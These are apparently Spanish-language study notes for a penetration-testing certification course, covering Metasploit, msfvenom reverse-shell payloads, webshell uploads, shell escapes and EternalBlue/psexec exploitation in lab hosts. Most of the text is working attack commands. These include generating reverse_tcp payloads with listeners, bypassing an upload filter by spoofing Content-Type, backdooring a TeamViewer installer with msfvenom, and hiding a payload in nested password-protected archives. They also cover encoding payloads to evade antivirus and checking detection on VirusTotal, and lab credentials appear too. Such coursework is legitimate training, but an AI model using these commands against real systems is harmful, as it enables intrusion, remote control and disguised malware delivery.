msfconsole -q
search smb
![[Pasted image 20260608113627.png]]
Vemos muchos modulos pero eligiremos: 56 exploit/windows/smb/psexec
use 56
show options
set rhosts IP
set share SHARE
set SMBPass PASS
set SMBUser USERNAME
set LHOST IP
exploit
![[Pasted image 20260608113838.png]]
Hemos obtenido una reverse shell de meterpreter ya que las credenciales son validas y podemos loggearnos con el exploit prefabricado de psexec
Ejemplo practico
Enumeramos el host y vemos un 445 abierto
![[Pasted image 20260608114550.png]]
Vamos a enumerar sus recursos compartidos
![[Pasted image 20260608114817.png]]![[Pasted image 20260608114848.png]]
A parte de los por defecto vemos el ADMIN$. Nos conectaremos mediante psexec ya que tenemos las credenciales y un share al que conectarnos
![[Pasted image 20260608115042.png]]
Ya que tenemos las credenciales probamos a usar psexec para conectarnos
![[Pasted image 20260608115450.png]]![[Pasted image 20260608115759.png]]![[Pasted image 20260608115805.png]]![[Pasted image 20260608115815.png]]![[Pasted image 20260608115823.png]]
Obtenemos el filename
![[Pasted image 20260608120003.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 2. Payloads MSF Y Msvenom
2. Creando Payloads Con Msfvenom
Podemos listar todos los payloads de MSFVenom:
msfvenom -l payloads
Diferencia entre payloads stage y stageless
Stage
Se dividen en 2 partes:
- Pieza de codigo muy pequeña que se ejecuta primero (se conecta a nosostros, descarga el codigo o payload completo y lo ejecuta)
- Payload real
Ejemplo: windows/meterpreter/reverse_tcp
Stageless
Se envia todo el payload junto. Es mas estable, menos problemas con EDR/firewalls…
Ejemplo: windows/x64/meterpreter_reverse_tcp
Diferencia
Esta en el nombre:
- Stage: meterpreter/reverse_tcp
- Sategeless: meterpreter_reverse_tcp
Construccion y ejecucion un stageless payload
- Creamos el paylaod
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PUERTO -f FORMATO > NOMBRE_ARCHIVO
- Lo transferimos al sistema objetivo
![[Pasted image 20260608121438.png]]
- Creamos un listener en nuestra maquina atacante
nc -nvlp PUERTO
- Ejecutamos en la maquina objetivo y obtenemos el reverse shell
Lo suyo seria encriptarlo y ofuscarlo para que el AV no lo detecte
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 3. Windows, Linux Y Shells Interactivas
1. Windows Shell
Tipos de Payloads para Windows:
- DLLs: archivo de libreria usado en SOs Microsoft para proveer codigo compartido y datos que pueden ser usados por varios programas a la vez
- Batch: scripts de texto basados en DOS usados por administradores de sistemas para realizar multiples tareas desde el commandline, acaban en .bat
- VBS: lenguaje de programacion liviano y usado como clientside en webservers para paginas dinamicas. Ya esta deshabilitado en muchos webservers pero se suele usar en ataques que requieren de interaccion del usuario como phisings
- MSI: .MSI es un archivo que sirve una base de datos de instalacion para el Windows Installer. Cuando se instala una aplicacion el instalador mira el .msi para ver entender los componentes requeridos y como encontrarlos
- Powershell: es un shell enviroment y un lenguaje de scripting basado en .NET
Cada uno tiene sus caracteristicas pero todos son ejecutables en el host
Ponen un ejemplo de eternablue que tiene un payload que te da un meterpreter a traves de psexec como antes
CMD vs Powershell
CMD es mas limitado pero podemos ejecutar cosas si creemos que las politicas pueden afectar a la ejecucion de los scripts u otras acciones
Powershell es mas completo: uso cmdlets, interaccionar con objetos .NET, interaccionar con cloud, uso de alias… Pero es mas ruidoso
Ejemplo practico
Escaneamos el host y vemos un 445 y vemos que es un Windows Server de 2016, puede que le afecten los EternalBlue
![[Pasted image 20260608134322.png]]
Lo probamos con MSF
![[Pasted image 20260608134631.png]]
![[Pasted image 20260608134650.png]]![[Pasted image 20260608134817.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 3. Windows, Linux Y Shells Interactivas
2. Infiltrando En Linux Shells
Consideraciones:
- Que distribucion de Linux esta corriendo
- Que shell y lenguajes de programacion
- Que funcion esta sirviendo el sistema para la red
- Que aplicacion esta hosteando
- Hay alguna vulnerabilidad para esta
Spawneando una shell interactiva
python -c 'import pty; pty.spawn("/bin/sh")'
Ejemplo practico: ganando acceso a una aplicacion vulnerable
Escaneamos los servicios del host
![[Pasted image 20260608150535.png]]
Vemos que tiene un apache corriendo en el 80 y 443. Si accedemos a la pagina web nos mete en un panel de login con un rConfig version 3.9.6:
![[Pasted image 20260608150652.png]]
Buscamos exploits y vemos uno en ExploitDB:
![[Pasted image 20260608150844.png]]
Lo buscamos en searchsploit:
![[Pasted image 20260608151334.png]]
Podemos probar a ver si existe en MSFConsole:
![[Pasted image 20260608151446.png]]![[Pasted image 20260608151708.png]]![[Pasted image 20260608151720.png]]
![[Pasted image 20260608151925.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 3. Windows, Linux Y Shells Interactivas
3. Spawneando Sesiones Interactivas
Dependera de los lenguajes y herramientas disponibles en el sistema. Podemos usar para saber que permisos tenemos:
sudo -l
Python
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh o /bin/bash
/bin/sh
/bin/bash
Perl
perl -e 'exec "/bin/sh";'
Ruby
ruby -e 'exec "/bin/sh"'
Lua
lua -e 'os.execute("/bin/sh")'
AWK
awk 'BEGIN {system("/bin/sh")}'
Find
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
o
find . -exec /bin/sh \; -quit
Vim
vim -c ':!/bin/sh'
o
vim
:set shell=/bin/sh
:shell
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 4. Webshells
1. Laudanum
Webshell: Es una version de shell basada en navegador que podemos usar interactuar con el SO desde la web
Se encuentra una vulnerabilidad que permita subida de archivos y subimos un payload que nos dara capacidad de ejecucion remota de comandos una vez que se ejecute. Algunos webservers estan configurados para borrar uploads cada X tiempo
Laudanum
Es un repositorio de archivos inyectables en varios lenguajes que podemos copiar y modificar para correrlos en la victima:
/usr/share/laudanum
![[Pasted image 20260608154240.png]]
Ejemplo practico
Escaneamos los servicios que corren en el host:
![[Pasted image 20260608154729.png]]
Vemos un IIS y un Apache por los puertos 80 y 8080 respectivamente.
Visitamos la pagina web:
![[Pasted image 20260608154607.png]]
Hacemos un fuzzing de directorios pero no encontramos nada:
![[Pasted image 20260608155043.png]]
Hacemos uno de vhosts, primero hay que saber el dominio:
![[Pasted image 20260608155649.png]]
No lo obtenemos, miramos en el codigo fuente:
![[Pasted image 20260608155710.png]]
Lo metemos en /etc/hosts
![[Pasted image 20260608155802.png]]
Encontramos otros vhost:
![[Pasted image 20260608155915.png]]
Lo metemos en /etc/hosts:
![[Pasted image 20260608160031.png]]
Vemos la opcion de subir archivos junto con archivos ASP:
![[Pasted image 20260608160106.png]]
Lo copiamos y modificamos poniendo nuestra IP
![[Pasted image 20260608160519.png]]
Lo subimos:
![[Pasted image 20260608160557.png]]
Vemos que se ha subido con ese nombre por lo que para visitarlo iremos a lo siguiente:
![[Pasted image 20260608160718.png]]
![[Pasted image 20260608160856.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 4. Webshells
2. Antak Webshell (webshell Asp)
Antak webshell es un shell creado ASP creado dentro del proyecto Proyecto Nishang (un conjunto de herramientas PS ofensivas)
Ubicacion: /usr/share/nishang/Antak-WebShell
![[Pasted image 20260609201404.png]]
CARACTERISTICAS:
- Ejecuta cada comando como un nuevo proceso
- Permite ejecutar scripts en memoria y codificar los comandos que se envien
Ejemplo practico de Antak Webshell
Creamos una copia y modificamos el archivo:
![[Pasted image 20260609202014.png]]![[Pasted image 20260609202137.png]]
Modificamos /etc/host para que encuentre a status.inlanefreight.local
![[Pasted image 20260609202235.png]]
Subimos el archivo:
![[Pasted image 20260609202315.png]]![[Pasted image 20260609202332.png]]![[Pasted image 20260609202345.png]]
Visitamos el sitio donde se ha subido:
![[Pasted image 20260609202418.png]]![[Pasted image 20260609202427.png]]![[Pasted image 20260609202526.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 4. Webshells
3. Webshell Php
PHP es un lenguaje de programacion de uso general
Un ejemplo de uso PHP es el login de rConfig visto en modulos anteriores:
![[Pasted image 20260609202929.png]]
https://github.com/WhiteWinterWolf/ wwwolf-php-webshell (He tenido que poner un espacio para que no salte el AV)
Ejemplo practico
Credenciales default de rConfig: admin-admin
![[Pasted image 20260609203627.png]]
rConfig permite subir nuevos dispositivos en Device > Vendor > Add Vendor
![[Pasted image 20260609203824.png]]
Copiamos el webshell de php en la ruta actual para subirlo:
![[Pasted image 20260609204132.png]]
![[Pasted image 20260609204550.png]]
Le damos a save pero nos pone invalid file y es porque el servidor solo acepta jpg, gift…
![[Pasted image 20260609204606.png]]
Encendemos el burp para cambiar el Content Type a uno que pueda ser aceptado como “image/gif”:
![[Pasted image 20260609204809.png]]![[Pasted image 20260609204822.png]]
Volvemos a subir el webshell:
![[Pasted image 20260609204845.png]]
Obtenemos la solicitud de envio que estamos haciendo:
![[Pasted image 20260609204922.png]]
Cambiamos el Content Type de “application/x-php” a “image/gif” y lo enviamos con Forward:
![[Pasted image 20260609205010.png]]
Vemos que se ha añadido correctamente (ya podemos desactivar el proxy):
![[Pasted image 20260609205051.png]]![[Pasted image 20260609205111.png]]
Si ahora hacemos un fuzzing de directorios encontraremos varios pero el que nos interesa es image/:
![[Pasted image 20260609205409.png]]
Pero image/webshell php no sale. Seguimos buscando:
![[Pasted image 20260609205738.png]]
La ruta es /images/vendor/webshell php
![[Pasted image 20260609205806.png]]![[Pasted image 20260609205848.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 4. Webshells
4. Laboratorio
Credenciales para conectarse via RDP: htb-student / HTB_@cademy_stdnt!
![[Pasted image 20260609212922.png]]
Pasos:
HOST1: 172.16.1.11
- Nos conectamos al foothold con las credenciales via RDP:
![[Pasted image 20260609213147.png]]
- Miramos el archivo de las credenciales:
![[Pasted image 20260609214114.png]]
- Comprobamos conexion y accedemos a la pagina web
![[Pasted image 20260609213240.png]]
![[Pasted image 20260609213727.png]]
![[Pasted image 20260609214151.png]]
- Vamos a Manager App y metemos las credenciales de tomcat
![[Pasted image 20260609214240.png]]
- Una vez dentro vemos el tipico form para subir archivos WAR por lo que creamos un reverse shell JSP (Java que ejecuta Apache) pero con extension WAR
![[Pasted image 20260609214624.png]]
![[Pasted image 20260609214733.png]]
-
Abrimos un listener por ese puerto y subimos el archivo:
![[Pasted image 20260609214851.png]]![[Pasted image 20260609214907.png]]
-
Verificamos que se ha subido y lo visitamos
![[Pasted image 20260609214940.png]]![[Pasted image 20260609215114.png]]![[Pasted image 20260609215128.png]]![[Pasted image 20260609215220.png]]
HOST2: blog.inlanefreight.local
- Visitamos el sitio web:
![[Pasted image 20260609215439.png]]![[Pasted image 20260609215505.png]]
- Le damos a login y ponemos la credenciales que hemos visto en el archivo:
![[Pasted image 20260609214114.png]]![[Pasted image 20260609215626.png]]
- Una vez loggeados vemos que alguien ya encontro una vulnerabilidad conocida:
![[Pasted image 20260609215812.png]]![[Pasted image 20260609220002.png]]
- Copiamos todo el codigo en un archivo .rb y lo movemos a la ruta de los scripts de MSF. Luego lo recargamos para que salga y lo usamos
![[Pasted image 20260609220412.png]]![[Pasted image 20260609220628.png]]![[Pasted image 20260609220645.png]]![[Pasted image 20260609220920.png]]
He mirado la IP en /etc/hosts
![[Pasted image 20260609221013.png]]
![[Pasted image 20260609221118.png]]![[Pasted image 20260609221128.png]]
- Respuestas
![[Pasted image 20260609221157.png]]![[Pasted image 20260609221255.png]]
HOST3:
- Abrimos el sitio web
![[Pasted image 20260609221613.png]]
![[Pasted image 20260609221634.png]]
- Intentamos subir un shell aspx
![[Pasted image 20260609221850.png]]![[Pasted image 20260609222005.png]]![[Pasted image 20260609222027.png]]![[Pasted image 20260609222036.png]]
- Navegamos a el
![[Pasted image 20260609222107.png]]![[Pasted image 20260609222140.png]]
No tenemos acceso para acceder a la ruta Admin
![[Pasted image 20260609222244.png]]
- Escaneamos el host y vemos que es un Windows Server 2008 muy probablemente vulnerable a EternalBlue
![[Pasted image 20260609222442.png]]![[Pasted image 20260609222548.png]]![[Pasted image 20260609222932.png]]![[Pasted image 20260609223059.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 1. Arquitectura Y Fundamentos
1. Entendiendo La Arquitectura
Modulos
ls /usr/share/metasploit-framework/module/
Sintaxis de los modulos
<TIPO> / <OS> / <SERVICE> / <NAME>
EJ: exploit/windows/ftp/scriptftp_list
Tipos:
- Auxiliary: escaneos, fuzzing, sniffing…
- Encoders asegura que los payloads esten intactos en el destino
- Exploits: explotan vulnerabilidades
- NOPs: no tienen codigo de operacion manteniendo el tamaño del payload constante entre ataques
- Payloads: codigo que se ejecuta de forma remota y vuelve a llamar a la maquina atacante con un shell
- Plugins: se pueden integrar scrips adicionales
- Post: amplia gama de modulos de recopliacion de info, pivoting…
Plugins
ls /usr/share/metasploit-framework/plugins/
Scripts
ls /usr/share/metasploit-framework/scripts/
Herramientas
ls /usr/share/metasploit-framework/tools/
Estrucutra
5 categorias principales:
-
Enumeration
- Validacion de servicios
- Escaneo activo
- Escaneo pasivo
- Busqueda de vulnerabilidades
-
Preparation
- Auditacion de codigo
- Checkeo de dependencias
- Importacion de modulos personalizados
-
Exploitation
- Correr el modulo de forma local
- Establecer parametros
- Correr
-
Escalada de privilegios
- Busqueda de vulnerabilidades
- Recopilacion de credenciales
- Impersonacion de tokens
-
Post explotation
- Pivoting
- Recopilacion de credenciales
- Exfiltracion de datos
- Limpieza
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 1. Arquitectura Y Fundamentos
2. Comandos Basicos Y Manejo De Workspaces
Comandos basicos
| Comandos |
Explicacion |
| msfconsole -q |
|
| help |
Menu de ayuda |
| version |
|
| show all |
Nos muestra todos los modulos |
| show exploit |
Nos muestra todos los modulos de la categoria dada |
| search algo |
Buscara en los modulos lo que contenga nuestra cadena |
| use module o N |
Podemos seleccionar el modulo por su nombre o por el numero en el que aparece en las opciones de modulos que ha encontrado el search |
| show options |
Muestras las opciones que tiene el modulo para configurar las importantes Normalmente se divide en las opciones del modulo y las del payload |
| set VARIABLE VALOR |
Asi se configura una variable local para ese modulo |
| setg VARIABLE VALOR |
Asi se configura una variable global para todos los modulos que contengan esa variable |
| set payload windows/meterpreter/reverse_tcp |
Para cambiar el payload a otro |
| run |
Correr el modulo |
| back |
Ir un paso atras, en este caso no estaremos usando el modulo |
| search cve:2017 type:exploit platform:windows |
Con esto estamos buscando CVEs del 2017 con la categoria de exploit para la plataforma de Windows |
| connect -h |
Es una comando que nos permite comunicarnos con un host, parecido a usar netcat |
| connect IP port |
Nos dara un banner el servicio Tambien se puede hacer un listener |
Manejo de workspaces
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| db_status |
Ver si la base de datos esta activa |
| workspace -h |
|
| workspace |
Nos muestra una lista de los workspace |
| workspace -a NOMBRE |
Crear un workspace |
| workspace |
Nos dara la lista y veremos que estamos usando NOMBRE |
| workspace OTRO_NOMBRE |
Para cambiar entre workspace |
| workspace -d NOMBRE |
Borrar un workspace |
| workspace -r NOMBRE NOMBRE_NUEVO |
Renombrar un workspace |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 2. Enumeracion
1. Importar Resultados De Nmap A MSF
Se importa el xml a metasploit. Esto hace que siempre tengamos la informacion ordenada en una bbdd dividida por workspace, escaneo y tambien nos filtra al principio la informacion mas relevante de los escaneos
COMANDOS PARA EXPORTAR:
service postgrel start
msfconsole
workspace -a NOMBRE_WORKSPACE
workspace
db_status
db_import /RUTA/XML
hosts (ver los hosts de la bbdd)
services (puertos encontrados para el host)
db nmap OPCIONES IP (realizar un scaneo nmap desde metasploit que se guardara en la bbdd)
Cada bbdd esta separada por workspace y es persistente al salirse
COMANDOS DE MSFCONSOLE PARA SACAR TODA LA INFORMACION DE NMAP
| Comando |
Explicacion |
| db_stats |
Estadisticas rapidas del workspace |
| db_import XML |
Importar el XML |
| db_export -f xml/pedump nombre.xml/txt |
Exportar salidas en .xml o .txt |
|
|
| hosts |
Muestra todos los hosts encontrados en el escaneo |
| hosts -v |
Informacion detallada de los hosts |
| hosts -c address, os_name_os_flavor,info |
Elegir las colunmas concretas |
|
|
| services |
Ver los servicios extraidos |
| services -p N –rhosts |
Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos |
| servivces -p N -R |
Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos |
| getg RHOSTS, unsetg RHOSTS |
Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos |
|
|
| creds |
Muestra todas las credenciales encontradas |
| creds -p PUERTO/admin(nombre o patron) |
Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio… |
|
|
| notes |
Guarda las notas de los NSE y Metasploit |
| notes -R IP |
Ver notas de un host |
|
|
| vulns |
Ver vulnerabilidades encontradas |
| loot |
Evidencias que ha encontrado metasploit (passwords, config.xml…) |
|
|
| routes |
Rutas y poviting si existen |
EJEMPLO:
![[Pasted image 20260215105927.png]]![[Pasted image 20260215105939.png]]![[Pasted image 20260215105949.png]]![[Pasted image 20260215110011.png]]![[Pasted image 20260215110027.png]]![[Pasted image 20260215110035.png]]![[Pasted image 20260215111151.png]]![[Pasted image 20260215111208.png]]![[Pasted image 20260215111218.png]]
Mas cosas:
![[Pasted image 20260215113154.png]]![[Pasted image 20260215113203.png]]![[Pasted image 20260215113216.png]]
RHOSTS
![[Pasted image 20260215113229.png]]
![[Pasted image 20260215113253.png]]![[Pasted image 20260215113509.png]]![[Pasted image 20260215113531.png]]
Salen los dos que tenian 111 como RHOSTS directamente
![[Pasted image 20260215113717.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 2. Enumeracion
2. Port Scanning Con Modulos Auxiliares
Estos modulos auxiliares sirven para escanear, descubrir y fuzzear
Se pueden usara para TCP/UDP Port Scanning y para enumerar servicios FTP, SSH, HTTP… para sacar mas informacion
Se puede usar recoleccion de informacion y post-explotacion
Estos modulos son especialmente utiles para post-explotacion. Una vez que tenemos acceso al objetivo para no tener que importar Nmap
Infraestructura del LAB
![[Pasted image 20260216172743.png]]
Objetivo: encontrar Open Ports en el primer target con auxiliary modules MSF
Despues: explotar el servicio que esta corriendo para obtener un punto de apoyo
Tras esto: usar el punto de apoyo para acceder al sistema interno de la subred (pivoting). Aqui es donde usaremos modulos para scan open ports en el segundo objetivo
Pasos
![[Pasted image 20260216173021.png]]
![[Pasted image 20260216173027.png]]![[Pasted image 20260216173032.png]]![[Pasted image 20260216173038.png]]![[Pasted image 20260216173044.png]]![[Pasted image 20260216173049.png]]![[Pasted image 20260216173054.png]]![[Pasted image 20260216173059.png]]
FALTA UN 1 EN demo1.ine.local
![[Pasted image 20260216173116.png]]![[Pasted image 20260216173120.png]]![[Pasted image 20260216173124.png]]![[Pasted image 20260216173129.png]]![[Pasted image 20260216173133.png]]![[Pasted image 20260216173139.png]]
Otras formas de hacerlo: exportando un script tipo Nmap propio y exportando el propio nmap
![[Pasted image 20260216173150.png]]![[Pasted image 20260216173154.png]]![[Pasted image 20260216173158.png]]![[Pasted image 20260216173202.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 2. Enumeracion
3. Enumeracion MSF
Metasploit tiene muchisimos modulos auxiliares para poder enumerar servicios, esto junto a su bbdd postgresql y poder de separacion en workspaces nos hace todo mas facil
En todas las enumeraciones se haran los mismos pasos (previamente abremos realizado un escaneo de puertos para conocer los puertos y servicios que estan corriendo)
| Paso |
Explicacion |
| service postgresql start |
Iniciamos la bbdd de msf |
| msfconsole |
Iniciamos msfconsole |
| workspace -a NOMBRE |
Creamos un workspace para ese servicio |
| search type:auxiliary name:NOMBRE_PROTCOLO |
Buscamos los modulos auxiliares que nos ayudaran a la enumeracion |
setg RHOST IP/hostname setg RHOSTS IP/hostname
(unsetg) |
Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente |
| use X/NOMBRE_MODULO |
Elegimos el modulo |
| show options |
Vemos las opciones que hay que configurar en cada modulo |
| set NOMBRE_OPTION VALOR |
Ponemos valor a las que necesitemos |
| run |
Corremos el modulo |
| db_export -f (xml, nmap…) NOMBRE_ARCHIVO |
Exportamos resultados |
EJEMPLO COMPLETO AL FINAL DE ESTA NOTA
Otros comandos utiles de msfconsole
| Comando |
Explicacion |
| unset OPTION |
Eliminar valor de una opcion |
| services |
Muestra los servicios encontrados |
| vulns |
Ver vulnerabilidades |
| loot |
Ver info critica recogida |
| back |
Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo |
| search portscan |
Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo |
USERNAME:
- /usr/share/metasploit-framework/data/wordlist/common_users.txt
- /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt
PASSWORD:
- /usr/share/metasploit-framework/data/wordlist/common_pass.txt
- /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
Ejemplo completo
Con FTP, nuestro target es victim-1:
![[Pasted image 20260218192415.png]]![[Pasted image 20260218192424.png]]![[Pasted image 20260218192430.png]]
Aqui falta: workspace -a http_enumeration
![[Pasted image 20260218192437.png]]
![[Pasted image 20260218192507.png]]![[Pasted image 20260218192515.png]]![[Pasted image 20260218192520.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 3. Evaluacion De Vulnerabilidades
1. Evaluacion De Vulnerabilidades Con MSF
Proceso de escanear un objetivo para encontrar vulnerabilidades y verificar si pueden ser explotadas
Hemos conseguido identificar y explotar malas configuraciones pero en esta seccion vamos a explotar el proceso de usar modelos auxiliares y exploits para escanear e identificar vulnerabilidades de servicios, OS y webapps
Esta info debe estar accesoble durante la fase de explotacion
Comando usados en el PoC
| Comando |
Explicacion |
| sudo nmap -sn IP_red/mascara |
Encontrar el host activo |
| service postgrestql start |
|
| msfconsole |
|
| setg RHOST/S IP |
|
| workspace -a Metasploitable3 |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Escaneo de versiones y puertos en el host activo |
| hosts |
|
| services |
|
| search type:exploit name:“NOMBRE DEL SERVICIO” |
iis–> no tiene modulos de vulns para esa version mysql–> no hay nada para nuestra version sunglassfish–>encontramos uno pero no sabemos para que version |
| use “NOMBRE_MODULO_SUNGLASSSFISH” |
Vemos que no tiene payload pero el default es un reverse shell de Liniux |
| info |
En la descripcion dice que ha sido probado para las versiones 2.0, 3.0 y 4.0 (La nuestra es la 4.0 por lo que nos sirve) |
| set payload windows/meterpreter/reverse_tcp |
Le adjuntamos el payload con reverse shell de meterpreter para Windows |
| Podriamos tratar de explotarlo pero no estamos viendo explotaciones aun |
|
Usando searchsploit para encontrar vulns
Searchsploit es una base de datos con vulnerabilidades conocidas que ademas contiene algunos modulos de MSF en su base de datos. Nosotros nos queremos centrar en esos para luego usarlos en Metasploit
En este caso vamos a buscar exploits para SMB 445/TCP
| Comando |
Explicacion |
| searchsploit “Microsoft Windows SMB” | grep -e “Metasploit” |
Buscamos exploits SMB Windows Vemos un resultado que dice Windows 7/8.1/2008 R2/2012 llamado “EternalBlue” pero no es de MSF |
| msfconsole |
Volvemos a MSF y lo buscamos por si existiese |
| search “Eternablue” |
Encontramos un modulo exploit y un scanner auxiliar que nos verifica primero si el objetivo es vulnerable |
| use /auxiliary/scanner/ |
|
| run |
Nos dice que es explotable |
| use /exploit/…/eternalblue |
|
| run |
Nos saldran logs de debug y se abrira una sesion de Meterpreter |
| sysinfo |
Vemos info del sistema |
| exit |
|
Usando db_autopwn de MSF
Es un plugin que facilita el exploit y ataques de vulnerabilidades pero fue eliminado de forma oficial en MSF por lo que se tiene que instalar manualmente
| Comando |
Explicacion |
| wget URL |
Descargamos el plugin del GitHub |
| mv archivo /usr/share/metasploit-framework/plugins/ |
Lo movemos a la carpeta de plugins |
| msfconsole |
|
| load db_autopwn |
Lo cargamos en MSF |
| db_autopwn |
Es como el help, nos da opciones |
| db_autopwn -p -t |
-p: selecciona los puertos del objetivo -t: muestra todos los modulos de exploit en base a los puertos del objetivo |
| db_autopwn -p -t -PI 445 |
-PI: especificar los puertos |
| analyze |
Analiza el contenido de la base de datos MSF (hosts y servicios) y nos da una lista de vulnerabilidades En este caso no saca 3: - Eternalblue (ready to test) - Psexec (requiere credenciales) - Doublepulsar (ready to test) |
| vulns |
Ahora nos muestra las vulnerabilides en este caso de SMB |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 4. Msfvenom Y Automatizacion De Scritps
1. Creacion De Payloads Msfvenom
Tambien visto en: [[2. Creando payloads con MSFVenom]]
Comandos
| Comandos |
Explicacion |
| msfvenom |
Menu de ayuda |
| msfvenom –list payloads |
Listar los payloads disponibles
Diferencias los stage payloads de los no:
- Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp - Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una |
| msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
-a x86: especificamos que la arquitectura es 32bits -p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits) - Se ponen las variables -f exe: se define la extension del archivo |
| msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
Para un 64bits |
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para Linux 32bits |
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para 64bits |
| msfvenom –list format |
Formatos en los que podemos crear el archivo |
|
|
| Ahora queremos traspasarlo y despues crear un handler |
|
| sudo python -m SimpleHTTPServer 80 |
Creamos un servidor simple http en la carpeta de los payloads |
| msfconsole -q |
Vamos a crear el handler |
| use multi/handler |
|
| set payload /payload que se va ejecutar |
Ponemos el payload que hemos creado. Ejemplo: para linux x64: linux/x64/meterpreter/reverse_tcp |
| set LHOST Nuestra_IP |
|
| set LPORT Puerto_del_msfvenom |
|
| run |
Ya estara el handler |
|
|
| Desde el Windows System |
|
| En el browser navegamos hasta http://IP:80 |
Alli veremos los payloads. Descargamos el que necesitemos |
| Lo ejecutamos |
|
|
|
| Volviendo a nuestra Linux |
|
| En MSF veremos que el multi/handler a conseguido el reverse shell meterpreter |
|
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 4. Msfvenom Y Automatizacion De Scritps
2. Codificando Payloads Msfvenom Y Evasion Ids Ips
Comandos
| Comandos |
Explicacion |
| msfvenom –list encoders |
Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son:
- cmd/powershell_base64 - x86/shikata_ga_nai: usaremos este para tanto windows como linux |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe |
Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran |
| -i 10 o –iterations 10 |
Numero de iteraciones |
|
|
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -b ‘\x00’ -i10 -e x86/shikata_ga_nai -f elf > nombre.exe |
Para Linux 32bits con 10 iteraciones
-b ‘\x00’ : elimina bytes nulos al codificar por si causasen erros
Otros son: - 0x0a → LF (salto de línea) - 0x0d → CR (retorno de carro) - 0x20 -> evitar espacios… |
|
|
| Pasar y abrir multihandler |
|
| python -m SimpleHTTPServer 80 |
|
| msfconsole -q |
|
| use multi/handler |
|
| set payload PAYLOAD_QUE_USEMOS |
|
| set LHOST Nuestra IP |
|
| ser LPORT PUERTO_USADO_MSFVENOM |
|
| run |
|
|
|
| Desde el objetivo |
|
| Navegamos en el browser a: http://IP:Puerto y descargamos el paylaod |
|
| Ejecutamos y obtemos el payload en nuestro multi/handler |
|
Evasion IDS/IPS
-k: keep working
-x /RUTA/EJECUTABLE_O_ARCHIVOBENIGNO
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
Otro ejemplo de evasion con archivos:
- Creamos el payload encodeado
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
- Descargamos rar para linux y creamos un .rar para el archivo .js creado
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar
rar a ~/test.rar -p ~/test.js
![[Pasted image 20260610104245.png]]
- Le quitamos la extension .rar
mv test.rar test
![[Pasted image 20260610104319.png]]
- Volvemos a hacer un rar sobre test y le quitamos de nuevo la extension
rar a test2.rar -p test
mv test2.rar test2
![[Pasted image 20260610104435.png]]
Comprobar deteccion
Esto requiere el registro gratuito en VirusTotal
msf-virustotal -k <API key> -f ARCHIVO
![[Pasted image 20260610104446.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 4. Msfvenom Y Automatizacion De Scritps
3. Automatizacion Scripts En MSF
| Comandos |
Explicacion |
